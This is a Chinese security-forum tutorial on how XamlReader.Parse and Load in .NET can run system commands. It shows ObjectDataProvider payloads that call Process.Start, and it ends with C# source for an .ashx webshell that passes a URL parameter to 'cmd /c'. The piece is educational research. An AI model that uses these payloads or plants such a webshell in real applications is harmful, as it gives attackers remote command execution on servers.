问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
.NET执行系统命令(第2课)之 XamlReader
漏洞分析
## 0X01 XamlReader背景 .NET反序列化漏洞 XmlSerializer核心Gadget:**XamlReader**,封装于WPF核心程序集之一PresentationFramework.dll,处于System.Windows.Markup命名空间下,提供了Xam...
0X01 XamlReader背景 ================= .NET反序列化漏洞 XmlSerializer核心Gadget:**XamlReader**,封装于WPF核心程序集之一PresentationFramework.dll,处于System.Windows.Markup命名空间下,提供了XamlReader和XamlWriter两个公开类,XamlReader类提供的底层Load方法可解析XAML字符流数据实现创建的.NET对象实例,还提供了上层封装方法XamlReader.Parse用于直接解析XAML字符串,XmlSerializer反序列化链路就是基于此方法达成命令执行。既然脱离不了XAML,那么就跟随笔者初步认识一下XAML,学习相关的基本知识。 0X02 XAML入门 =========== WPF是用于替代Windows Form来创建Windows客户端的应用程序,和Web项目一样遵从前端布局和后端代码实现分离的原则,Web项目前端通常是HTML,而XAML是用作WPF项目前端界面开发,XAML的全称是 **Extensible Application Markup Language** 基于通用XML语法用于实例化 .NET对象的标记语言。XAML文档中的每个元素都映射为.NET类的一个实例,如根元素\\<Window>表示WPF创建Window对象,另外根元素还有\\<Application>、\\<Page>、\\<UserControl>,事实上**XAML在编译时也会编成C#类**,所以界面对应的.cs文件内的后台代码内要声明 partial 关键字,从而达到在编译的时候UI界面和运行逻辑代码合在一起的状态。如下最基本的XAML代码 ```php <Window x:Class="WpfApplication1.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:sys="clr-namespace:System;assembly=mscorlib" Title="MainWindow" Height="300" Width="300"> <ListBox> <ListBoxItem> <sys:String>欢迎关注dotNet安全矩阵</sys:String> </ListBoxItem> </ListBox> </Window> ``` 上述包含Window元素以及Grid元素,Window元素代表整个窗口,Grid 可以放置所有的控件。总体结构其实是一个窗体对象内嵌套一个Grid对象。x:Class 代表后端的命名空间和类名,这样的好处在于将WPF里的前端XAML和后端实现代码分开维护,xmlns全拼是:XML namespace,即XML命令空间,xmlns后面可以跟一个可选映射前缀 x,两者之间用冒号分割,另外还声明了两个 xmlns 名称空间,如下表 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-618c015a56b25ac3e9afd40b5a30d6be3b7a8a9b.png) 上面列表的网址分别是什么意思呢?这里是XAML解析器的硬性约定,<http://schemas.microsoft.com/winfx/2006/xaml/presentation> 表示引入WPF核心程序集 PresentationFramework,例如常见的 System.Windows.Data 命名空间,<http://schemas.microsoft.com/winfx/2006/xaml> 表示引入另外核心程序集 System.Xaml,例如常用的 Windows.Markup, 反编译后可见 \[assembly: XmlnDefinition("[http://schemas.microsoft.com/winfx/2006/xaml","System.Windows.Markup](http://schemas.microsoft.com/winfx/2006/xaml)")\] 如下图 ![](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-8ef819d6529b191861d61dd9107d1a35ae292dd1.png) 另外还有xmlns:sys="clr-namespace:System;assembly=mscorlib" 表示将 sys 前缀 映射到.NET基类库System.String名称空间,后续用<sys:String>获取字符串类型,类似若想引入其他.NET程序集支持的基类,参考如下语法 xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName",例如反序列化攻击载荷常用的Diagnostics.Process类所在的程序集: xmlns:c="clr-namespace:System.Diagnostics;assembly=system" ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-1c7514d408ebe0b7861679155582d6bab05c62e9.png) 0X03 x:名称指令 =========== 笔者创建的项目名ObjectDataProvider有一定迷惑性,这里说明下和反序列化用到的ObjectDataProvider类毫无关联,下表是常见的几种 x: 空间指令含义 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-451c43cd26f170bd9211df01dc6cc92770e57442.png) x:Class 前面已说过不再赘述,而 x:Key 表示检索资源文件中所需元素的键名,x:Type 表示CLR提供的数据类型,在XAML里可以认为是引用某个命名空间下的类,x:Static 引用后端类里定义的静态字段,x:Code 可在XAML里执行C#代码弹出计算器,例如在窗体Loaded事件指定触发的方法名为: Window\_Loaded ```php <x:Code> <![CDATA[ private void Window_Loaded(object sender, RoutedEventArgs e) { System.Diagnostics.Process.Start("calc"); } ]]> </x:Code> ``` 借用下图笔者把很多概念都画到了图里面,希望帮助读者有更加直观的了解,下图中 x:Type 简单的理解就是在XAML中想使用某种数据类型时就得用它,比如从自定义的命名空间xmlns:process里调用Process类,另外 xmlns:local="clr-namespace:ObjectDataProvider" 将本地项目空间名ObjectDataProvider 映射到前缀 xmlns:local ![](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-7ead6b81cb386f52fa9eda802ebd6f9439d90677.png) 0X04 XamlReader.Parse执行命令 ========================= XamlReader类提供的底层Load方法可解析XAML字符流数据实现创建的.NET对象实例,还提供了封装方法XamlReader.Parse用于直接解析XAML字符串,ysoserial在XmlSerializer反序列化链中使用XamlReader.Parse解析XAML字符串并返回新对象, 转到定义可见有2个方法重载,[官方文档](https://docs.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlreader.parse?view=windowsdesktop-6.0)有如下注明 > Reads the XAML input in the specified text string and returns an object that corresponds to the root of the specified markup. 查看源码可清晰得知 Parse方法内部由XamlReader.Load载入Stream流实现的,那自然Load方法也是需要关注的风险入口点 ![](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-efcc6277e38f627271382b57bca40e7d338590c3.png) 笔者创建测试用例存储于Dictionary2.xaml 如下代码,ObjectType="{x:Type TypeName=local:Process } 可省略TypeName,另外资源检索键名ResourceKey也可以省略,Source={StaticResource ResourceKey=obj} ```php <Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d" xmlns:local ="clr-namespace:System.Diagnostics;assembly=System" Title="MainWindow" Height="450" Width="800"> <Window.Resources> <ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process }" MethodName="Start"> <ObjectDataProvider.MethodParameters>"winver"</ObjectDataProvider.MethodParameters> </ObjectDataProvider> </Window.Resources> <Grid DataContext="{Binding Source={StaticResource obj}}"> <Button Content="Button" HorizontalAlignment="Left" Margin="300.085,187.924,0,0" VerticalAlignment="Top" Width="139.599" Height="45.517"/> </Grid> </Window> ``` ```php string xml = File.ReadAllText("../../Dictionary2.xaml"); XamlReader.Parse(xml); ``` 上述代码运行后跟踪调用栈,发现调用了多个Load方法,注意到调用了WpfXamlLoader类的Load方法,发现是一个内部实现的类,不能直接在外部所用,只能通过XamlReader.Loader方法去实现调用 ![](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-9139c9f0698c6035eef87714a44acceec55a990d.png) 0X05 XamlReader.LoadAsync执行命令 ============================= XamlReader类提供了3种Load不同参数的重载方法,另外还提供了LoadAsync异步方法,用于在大文件数据传输不影响程序主线程,可直接载入流转换为对象,调用和第4小节类似不再赘述,如下代码 ```php //Test:Load string xml = File.ReadAllText("../../Dictionary2.xaml"); MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml)); XamlReader.Load(ms); //Test:LoadAsync MemoryStream ms0 = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml)); XamlReader xamlReader = new XamlReader(); xamlReader.LoadAsync(ms0); ``` ![](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-0c93b3d9e2a400709bce186d1795bfd4fc08e4a3.png) 0X06 编写WebShell =============== 程序内部采用Base64编码和解码的解析方式运行,这样的好处在于对URL特殊字符串的处置,启动Process类调用cmd.exe/c winver.exe 执行命令,核心代码如下 ```php public static void CodeInject(string input) { string ExecCode = EncodeBase64("utf-8", input); StringBuilder strXMAL = new StringBuilder("<ResourceDictionary "); strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" "); strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" "); strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" "); strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">"); strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">"); strXMAL.Append("<ObjectDataProvider.MethodParameters>"); strXMAL.Append("<b:String>cmd</b:String>"); strXMAL.Append("<b:String>/c "+ DecodeBase64("utf-8",ExecCode) +"</b:String>"); strXMAL.Append("</ObjectDataProvider.MethodParameters>"); strXMAL.Append("</ObjectDataProvider>"); strXMAL.Append("</ResourceDictionary>"); XamlReader.Parse(strXMAL.ToString()); } ``` 笔者创建的是ashx扩展名的文件,访问 <http://localhost:52188/XamlReaderofParseSpy.ashx?input=winver> ![](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-5a581d21c498a219b89f578f277bbb4acc2fc9ec.png) 0X07 结语 ======= 有关XamlReader类多个命令执行的方法希望未来不会被恶意滥用,好啦本文就介绍到此,文章涉及的WebShell已打包到[Github](https://github.com/Ivan1ee/NET-Command)或关注公众号:dotNet安全矩阵,下期会继续分享.NET执行命令第2课,请大伙继续关注和支持!
发表于 2022-05-24 09:33:48
阅读 ( 5266 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Ivan1ee
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!